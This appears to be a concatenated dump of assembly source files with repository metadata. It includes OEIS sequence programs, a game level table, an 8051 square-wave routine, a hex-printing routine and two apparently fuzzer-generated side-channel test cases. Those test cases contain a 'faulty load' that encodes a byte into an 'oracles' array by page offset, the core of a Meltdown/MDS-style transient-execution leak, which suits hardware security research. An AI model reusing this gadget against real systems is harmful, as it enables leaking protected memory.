需要分别处理对应的字符 cmp edx, 9 ; 数字 0 ~ 9 和 a ~ f 需要分别处理成对应的字符 jg .is_A2F add edx, '0' ; ASCII 码是 8 位大小,add 求和操作后,edx 低 8 位有效 jmp .store .is_A2F: sub edx, 10 ; A ~ F 减去 10 所得到的差,再加上字符 A 的 ASCII 码,便是 A ~ F 对应的 ASCII 码 add edx, 'A' ;将每一位数字转换成对应的字符后,按照类似 "大端" 的顺序,存储到缓冲区 put_int_buffer ;高位字符放在低地址,低位字符要放在高地址,这样和大端字节序类似,只不过咱们这里是字符序 .store: ;此时 dl 中应该是数字对应的字符的 ASCII 码 mov [ebx+edi], dl dec edi shr eax,4 mov edx,eax loop .16based_4bits ;现在 put_int_buffer 中已全是字符,打印之前 ;把高位连续的字符去掉,比如把字符 000123 变成 123 .ready_to_print: inc edi ; 此时 edi 退减为 -1 (0xffffffff),加 1 使其为 0 .skip_prefix_0: cmp edi,8 ; 若已经比较第 9 个字符了,表示待打印的字符串全为 0 je .full0 ;找出连续的 0 字符,edi 作为非 0 的最高位字符的偏移 .go_on_skip: mov cl, [put_int_buffer+edi] inc edi cmp cl,'0' je .skip_prefix_0 ;继续判断下一位字符是否全为字符 0 (不是数字 0) dec edi ;edi 在上面的 inc 操作中指向了下一个字符,若当前字符不为'0',要使 edi 减 1 恢复指向当前字符 jmp .put_each_num .full0: mov cl,'0' ;输入的数字全为 0 时,则只打印 0 .put_each_num: push ecx ;此时 cl 中为可打印的字符 call put_char add esp, 4 inc edi ;使 edi 指向下一个字符 mov cl,[put_int_buffer+edi] ;获取下一个字符到 cl 寄存器 cmp edi, 8 jl .put_each_num popad ret
26.769585
93
0.564985
b04c8d3c3020dedfe85e3e441a4b2ccd6f61804c
8,738
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_915.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_915.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_21829_915.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0xa4cd, %rsi nop nop nop nop dec %r10 mov (%rsi), %rbp nop nop sub %r14, %r14 lea addresses_D_ht+0x1184d, %rcx nop xor $16485, %r14 movl $0x61626364, (%rcx) nop inc %rsi lea addresses_WC_ht+0xcce5, %rsi lea addresses_D_ht+0x1924d, %rdi clflush (%rsi) nop inc %rbp mov $9, %rcx rep movsq nop add $33778, %r9 lea addresses_normal_ht+0x8f85, %r14 nop nop nop add %rbp, %rbp movb $0x61, (%r14) nop nop nop nop nop dec %rcx lea addresses_UC_ht+0x44cd, %rsi lea addresses_WT_ht+0x1590d, %rdi nop nop nop inc %rdx mov $107, %rcx rep movsb and $46944, %r14 lea addresses_WC_ht+0x1944d, %r10 nop nop nop nop nop cmp $16424, %rcx and $0xffffffffffffffc0, %r10 movaps (%r10), %xmm3 vpextrq $0, %xmm3, %rdx nop and $41836, %r14 lea addresses_D_ht+0x1788d, %rdx clflush (%rdx) nop nop nop nop add %rdi, %rdi mov $0x6162636465666768, %r9 movq %r9, (%rdx) nop nop nop nop add %rcx, %rcx lea addresses_D_ht+0x45f5, %rbp nop nop nop and %rsi, %rsi mov $0x6162636465666768, %rdi movq %rdi, (%rbp) nop nop nop nop nop and $38282, %rdi lea addresses_WC_ht+0x1bf61, %r14 nop nop nop nop and $8844, %rsi mov (%r14), %r9 nop nop nop nop nop dec %rsi lea addresses_WT_ht+0x1584d, %r9 nop cmp %rbp, %rbp movl $0x61626364, (%r9) nop cmp $56751, %rdx lea addresses_A_ht+0x288d, %rsi lea addresses_A_ht+0x715d, %rdi clflush (%rsi) nop nop nop cmp %r10, %r10 mov $40, %rcx rep movsw nop sub %r10, %r10 lea addresses_UC_ht+0x82bb, %rdi clflush (%rdi) nop nop nop nop and $34608, %rsi and $0xffffffffffffffc0, %rdi movaps (%rdi), %xmm3 vpextrq $0, %xmm3, %r10 nop nop nop nop nop dec %rdx lea addresses_D_ht+0x8b4d, %r10 xor $53946, %r14 movb $0x61, (%r10) nop nop nop nop nop add $33453, %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r15 push %r9 push %rcx push %rdx // Load lea addresses_normal+0x1120d, %r9 nop nop nop cmp %r12, %r12 vmovups (%r9), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %r15 nop nop nop nop cmp %r11, %r11 // Store lea addresses_PSE+0x1ac6d, %r10 nop nop sub %rdx, %rdx movl $0x51525354, (%r10) nop nop nop nop xor $17211, %rdx // Store lea addresses_PSE+0x1184d, %r10 nop nop nop nop cmp %r9, %r9 movl $0x51525354, (%r10) and %r10, %r10 // Store lea addresses_UC+0x1ec59, %r12 nop cmp %rcx, %rcx movl $0x51525354, (%r12) nop nop nop nop nop inc %r15 // Load lea addresses_D+0x404d, %r10 nop nop nop nop xor $49571, %r11 movb (%r10), %dl xor $61756, %r10 // Store lea addresses_UC+0x17acd, %r11 clflush (%r11) nop nop nop xor %r10, %r10 movl $0x51525354, (%r11) nop nop nop nop sub %rdx, %rdx // Faulty Load lea addresses_PSE+0x1784d, %rcx nop nop sub %rdx, %rdx mov (%rcx), %r12d lea oracles, %rcx and $0xff, %r12 shlq $12, %r12 mov (%rcx,%r12,1), %r12 pop %rdx pop %rcx pop %r9 pop %r15 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 11}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 3, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': True, 'AVXalign': True, 'size': 16, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}} {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 11}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
29.924658
2,999
0.652552
4e4a421888397f0e4bea7508cf35349647783bff
681
asm
Assembly
oeis/315/A315739.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/315/A315739.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/315/A315739.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A315739: Coordination sequence Gal.5.135.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; Submitted by Christian Krause ; 1,6,12,18,23,27,32,38,44,50,56,62,68,73,77,82,88,94,100,106,112,118,123,127,132,138,144,150,156,162,168,173,177,182,188,194,200,206,212,218,223,227,232,238,244,250,256,262,268,273 mov $2,$0 seq $0,315727 ; Coordination sequence Gal.5.89.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. mov $1,$0 sub $0,5 mov $3,$0 add $3,$1 div $3,3 mov $0,$3 add $0,2 mov $4,$2 mul $4,2 add $0,$4
40.058824
181
0.723935
db5f03aa5ae50397649703c006aacfbe3677d49b
1,950
asm
Assembly
python_src/other/export/screen_8_3.asm
fjpena/sword-of-ianna-msx2
f104f46a677e4b21f42fbed478307a0bb1d372f3
[ "Apache-2.0" ]
43
2017-10-21T23:01:25.000Z
2022-02-21T17:45:11.000Z
python_src/other/export/screen_8_3.asm
fjpena/sword-of-ianna-msx2
f104f46a677e4b21f42fbed478307a0bb1d372f3
[ "Apache-2.0" ]
null
null
null
python_src/other/export/screen_8_3.asm
fjpena/sword-of-ianna-msx2
f104f46a677e4b21f42fbed478307a0bb1d372f3
[ "Apache-2.0" ]
6
2017-10-23T05:48:50.000Z
2022-01-06T03:11:49.000Z
org $0000 ; Object types OBJECT_NONE EQU 0 OBJECT_SWITCH EQU 1 OBJECT_DOOR EQU 2 OBJECT_DOOR_DESTROY EQU 3 OBJECT_FLOOR_DESTROY EQU 4 OBJECT_WALL_DESTROY EQU 5 OBJECT_BOX_LEFT EQU 6 OBJECT_BOX_RIGHT EQU 7 OBJECT_JAR EQU 8 OBJECT_TELEPORTER EQU 9 ; Pickable object types OBJECT_KEY_GREEN EQU 11 OBJECT_KEY_BLUE EQU 12 OBJECT_KEY_YELLOW EQU 13 OBJECT_BREAD EQU 14 OBJECT_MEAT EQU 15 OBJECT_HEALTH EQU 16 OBJECT_KEY_RED EQU 17 OBJECT_KEY_WHITE EQU 18 OBJECT_KEY_PURPLE EQU 19 ; Object types for enemies OBJECT_ENEMY_SKELETON EQU 20 OBJECT_ENEMY_ORC EQU 21 OBJECT_ENEMY_MUMMY EQU 22 OBJECT_ENEMY_TROLL EQU 23 OBJECT_ENEMY_ROCK EQU 24 OBJECT_ENEMY_KNIGHT EQU 25 OBJECT_ENEMY_DALGURAK EQU 26 OBJECT_ENEMY_GOLEM EQU 27 OBJECT_ENEMY_OGRE EQU 28 OBJECT_ENEMY_MINOTAUR EQU 29 OBJECT_ENEMY_DEMON EQU 30 OBJECT_ENEMY_SECONDARY EQU 31 Screen_8_3: DB 34, 34, 9, 8, 9, 3, 2, 130, 131, 149, 128, 128, 128, 128, 129, 128 DB 0, 0, 0, 0, 34, 9, 4, 7, 3, 130, 131, 148, 149, 128, 128, 128 DB 0, 126, 0, 146, 0, 34, 2, 2, 2, 2, 2, 149, 130, 131, 148, 149 DB 14, 20, 0, 0, 0, 0, 9, 7, 2, 3, 2, 131, 2, 4, 130, 131 DB 65, 147, 0, 0, 147, 0, 33, 3, 2, 4, 2, 3, 2, 2, 2, 3 DB 18, 0, 0, 0, 0, 0, 0, 9, 2, 2, 2, 2, 2, 4, 2, 2 DB 65, 20, 0, 0, 126, 147, 0, 0, 2, 2, 2, 2, 2, 2, 2, 4 DB 18, 0, 0, 126, 147, 0, 0, 0, 2, 2, 2, 5, 134, 135, 136, 2 DB 65, 0, 126, 126, 146, 0, 126, 0, 2, 2, 2, 2, 159, 7, 143, 2 DB 14, 15, 14, 15, 14, 15, 14, 15, 14, 14, 14, 15, 15, 15, 14, 15 HardScreen_8_3: DB 0, 0, 0, 0 DB 0, 0, 0, 0 DB 0, 4, 1, 0 DB 96, 0, 0, 0 DB 64, 0, 0, 0 DB 64, 0, 0, 0 DB 96, 0, 0, 0 DB 64, 0, 0, 0 DB 64, 0, 0, 0 DB 85, 85, 85, 85 Obj_8_3: DB 1 ; PLAYER DB 90, OBJECT_ENEMY_ROCK, 5, 0, 1, 80 DB 91, OBJECT_ENEMY_ROCK, 10, 0, 1, 83 DB 88, OBJECT_TELEPORTER, 5, 7, 0, 79 DB 89, OBJECT_TELEPORTER, 10, 7, 0, 79 DB 0, OBJECT_NONE, 0, 0, 0, 0 ; EMPTY OBJECT DB 0, OBJECT_NONE, 0, 0, 0, 0 ; EMPTY OBJECT DB 0, OBJECT_NONE, 0, 0, 0, 0 ; EMPTY OBJECT
29.104478
69
0.669231
2a34082ebf0538c4571a307fe8fd4d906b376ce8
4,268
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_626.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_626.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_626.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r8 push %rax push %rdi push %rdx push %rsi // Store lea addresses_PSE+0x19da, %r8 nop nop nop inc %r14 mov $0x5152535455565758, %rsi movq %rsi, (%r8) // Exception!!! nop nop nop nop nop mov (0), %rsi nop dec %rax // Store lea addresses_WC+0x13924, %r13 nop nop nop nop sub %rdx, %rdx movw $0x5152, (%r13) xor %r13, %r13 // Faulty Load lea addresses_UC+0x130a4, %r8 nop nop nop nop nop inc %rax movntdqa (%r8), %xmm6 vpextrq $0, %xmm6, %r13 lea oracles, %r14 and $0xff, %r13 shlq $12, %r13 mov (%r14,%r13,1), %r13 pop %rsi pop %rdx pop %rdi pop %rax pop %r8 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 7, 'size': 2, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': True}} <gen_prepare_buffer> {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
54.025316
2,999
0.65956
34979d641a02b4863ab3222297599ff41d6ff821
664
asm
Assembly
oeis/054/A054334.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/054/A054334.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/054/A054334.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A054334: 1/512 of 11th unsigned column of triangle A053120 (T-Chebyshev, rising powers, zeros omitted). ; 1,12,77,352,1287,4004,11011,27456,63206,136136,277134,537472,999362,1790712,3105322,5230016,8580495,13748020,21559395,33153120,50075025,74397180,108864405,157073280,223689180,314707536,437766252,602516992,821063892,1108479152,1483405924,1968759936,2592542381,3388777756,4398591561,5671444064,7266537707,9254417172,11718782647,14758538432,18490100706,23049990040,28597736090,35319123840,43429812790,53179362600,64855700910,78790071360,95362502235,115007838660,138222383871,165571197792,197696103957 mov $1,$0 add $0,9 bin $0,$1 add $1,5 mul $0,$1 div $0,5
66.4
499
0.838855
d8004f3d1815ce0d907cb518efdf257f2cebbd14
693
asm
Assembly
square-wave.asm
zenozeng/ASM-80C51
51ac64ea35d5004cca1ad51d039d1512ac52af5d
[ "MIT" ]
1
2015-04-04T07:43:57.000Z
2015-04-04T07:43:57.000Z
square-wave.asm
zenozeng/ASM-80C51
51ac64ea35d5004cca1ad51d039d1512ac52af5d
[ "MIT" ]
1
2015-01-06T07:32:29.000Z
2015-01-27T14:27:34.000Z
square-wave.asm
zenozeng/ASM-80C51
51ac64ea35d5004cca1ad51d039d1512ac52af5d
[ "MIT" ]
null
null
null
;;; Output square wave (T = 1s, change every 500ms) at P1.0 ;;; Time-stamp: <2015-01-05 23:13:12 Zeno Zeng> ORG 0000H AJMP MAIN ORG 000BH ; 定时器 0 中断 AJMP ONTIMEOUT MAIN: MOV R1, #05H MOV TMOD, #01H ; 定时工作模式,工作模式 1 MOV TH0, #0C3H MOV TL0, #50H SETB ET0 ; enable 定时器中断 SETB EA ; enable 中断 SETB TR0 ; 启动定时器 LISTENING: SJMP LISTENING ONTIMEOUT: ; called every 100ms MOV TH0, #0C3H MOV TL0, #50H DJNZ R1, OUTPUT RETI OUTPUT: MOV R1, #0AH CPL P1.0 RETI END
21
59
0.460317
b0990a3b61f348d64fd071ddc985727c19ec2b3b
555
asm
Assembly
programs/oeis/066/A066246.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/066/A066246.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/066/A066246.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A066246: 0 unless n is a composite number A002808(k) when a(n) = k. ; 0,0,0,1,0,2,0,3,4,5,0,6,0,7,8,9,0,10,0,11,12,13,0,14,15,16,17,18,0,19,0,20,21,22,23,24,0,25,26,27,0,28,0,29,30,31,0,32,33,34,35,36,0,37,38,39,40,41,0,42,0,43,44,45,46,47,0,48,49,50,0,51,0,52,53,54,55,56,0,57,58,59,0,60,61,62,63,64,0,65,66,67,68,69,70,71,0,72,73,74 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 add $0,$3 trn $0,1 seq $0,62298 ; Number of nonprimes <= n. bin $0,2 mov $2,$3 mul $2,$0 add $1,$2 mov $4,$0 lpe min $5,1 mul $5,$4 sub $1,$5 mov $0,$1
25.227273
266
0.58018
6d65f71fad2b65aff9e5e23b9ce53f177d10a22d
137
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/___uint2fs_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/___uint2fs_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/___uint2fs_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
null
null
null
SECTION code_fp_math32 PUBLIC ___uint2fs_callee EXTERN cm32_sdcc___uint2fs_callee defc ___uint2fs_callee = cm32_sdcc___uint2fs_callee
17.125
51
0.89781
bae89e68210226f57572ab06908b24b4df375d8d
1,421
asm
Assembly
